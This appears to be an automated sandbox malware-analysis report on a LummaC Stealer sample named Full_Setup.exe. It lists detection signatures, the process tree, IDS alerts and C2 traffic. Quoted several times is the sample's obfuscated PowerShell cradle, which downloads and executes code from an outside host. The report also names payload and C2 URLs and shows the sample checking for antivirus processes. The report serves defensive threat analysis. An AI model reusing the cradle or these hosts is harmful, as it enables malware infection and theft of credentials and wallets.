Edit tour

Windows Analysis Report
Full_Setup.exe

Overview

General Information

Sample name:	Full_Setup.exe
Analysis ID:	1581465
MD5:	5517e8f1bd85f7fe822b8549c9976e2b
SHA1:	a750eb1d13abbfb16a9a3e29f35223299004916a
SHA256:	587550d60f859ef6a0bab8b636f0b27d71f0a3c10745a3d44f78768a767aac6c
Tags:	exeuser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Full_Setup.exe (PID: 7488 cmdline: "C:\Users\user\Desktop\Full_Setup.exe" MD5: 5517E8F1BD85F7FE822B8549C9976E2B)

powershell.exe (PID: 7932 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MDP2X8VMEVVJRGEP3T64BYVFCK.exe (PID: 8176 cmdline: "C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" MD5: 34B63F16F994365A2FC9263E87CD28E8)

MDP2X8VMEVVJRGEP3T64BYVFCK.tmp (PID: 7196 cmdline: "C:\Users\user\AppData\Local\Temp\is-KD158.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$30472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" MD5: A62041070E18901131CBBE7825EC4EC7)

MDP2X8VMEVVJRGEP3T64BYVFCK.exe (PID: 6108 cmdline: "C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT MD5: 34B63F16F994365A2FC9263E87CD28E8)

MDP2X8VMEVVJRGEP3T64BYVFCK.tmp (PID: 1012 cmdline: "C:\Users\user\AppData\Local\Temp\is-DOP4D.tmp\MDP2X8VMEVVJRGEP3T64BYVFCK.tmp" /SL5="$40472,11205210,845824,C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe" /VERYSILENT MD5: A62041070E18901131CBBE7825EC4EC7)

timeout.exe (PID: 7536 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1196 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5668 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 2108 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6104 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2676 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1732 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5744 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7772 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5700 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 4084 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7836 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7856 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 1744 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 5296 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5960 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6228 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6880 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 6916 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

vsv_tool.exe (PID: 7076 cmdline: "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe" MD5: C12ED31F29EF510393AE36661F44F102)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1935004521.0000000000753000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1934530568.0000000000753000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1983532100.0000000000753000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1912027942.0000000000753000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1983684456.000000000075C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1958176878.0000000000753000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Full_Setup.exe PID: 7488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Full_Setup.exe", ParentImage: C:\Users\user\Desktop\Full_Setup.exe, ParentProcessId: 7488, ParentProcessName: Full_Setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, ProcessId: 7932, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Full_Setup.exe", ParentImage: C:\Users\user\Desktop\Full_Setup.exe, ParentProcessId: 7488, ParentProcessName: Full_Setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, ProcessId: 7932, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Full_Setup.exe", ParentImage: C:\Users\user\Desktop\Full_Setup.exe, ParentProcessId: 7488, ParentProcessName: Full_Setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, ProcessId: 7932, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Full_Setup.exe", ParentImage: C:\Users\user\Desktop\Full_Setup.exe, ParentProcessId: 7488, ParentProcessName: Full_Setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, ProcessId: 7932, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Full_Setup.exe", ParentImage: C:\Users\user\Desktop\Full_Setup.exe, ParentProcessId: 7488, ParentProcessName: Full_Setup.exe, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; jo, ProcessId: 7932, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:17:20.064676+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.204.41	443	TCP
2024-12-27T20:17:22.056812+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.204.41	443	TCP
2024-12-27T20:17:25.313025+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.204.41	443	TCP
2024-12-27T20:17:27.783491+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	172.67.204.41	443	TCP
2024-12-27T20:17:29.991760+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	172.67.204.41	443	TCP
2024-12-27T20:17:32.727466+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.204.41	443	TCP
2024-12-27T20:17:34.768934+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.204.41	443	TCP
2024-12-27T20:17:37.218128+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	172.67.204.41	443	TCP
2024-12-27T20:17:40.955552+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	172.67.204.41	443	TCP
2024-12-27T20:17:43.502096+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	185.161.251.21	443	TCP
2024-12-27T20:17:45.606394+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	104.21.37.128	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:17:20.790224+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.204.41	443	TCP
2024-12-27T20:17:23.169805+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49734	172.67.204.41	443	TCP
2024-12-27T20:17:41.706683+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	172.67.204.41	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:17:20.790224+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	172.67.204.41	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:17:23.169805+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49734	172.67.204.41	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:17:46.530995+0100	2008438	1	A Network Trojan was detected	104.21.37.128	443	192.168.2.4	49746	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:17:33.475702+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49741	172.67.204.41	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cegu.shop/8574262446/ph.txt

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\MDP2X8VMEVVJRGEP3T64BYVFCK.exe

ReversingLabs: Detection: 15%

Multi AV Scanner detection for submitted file

Source: Full_Setup.exe

ReversingLabs: Detection: 21%

Source: Full_Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.204.41:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49746 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49734 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49734 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 172.67.204.41:443

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49746 -> 104.21.37.128:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 172.67.204.41:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 104.21.37.128:443 -> 192.168.2.4:49746

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 78Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1M0FVQNEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18102Host: invinciblepol.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3I0XJP0MRIHEMZVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8765Host: invinciblepol.click
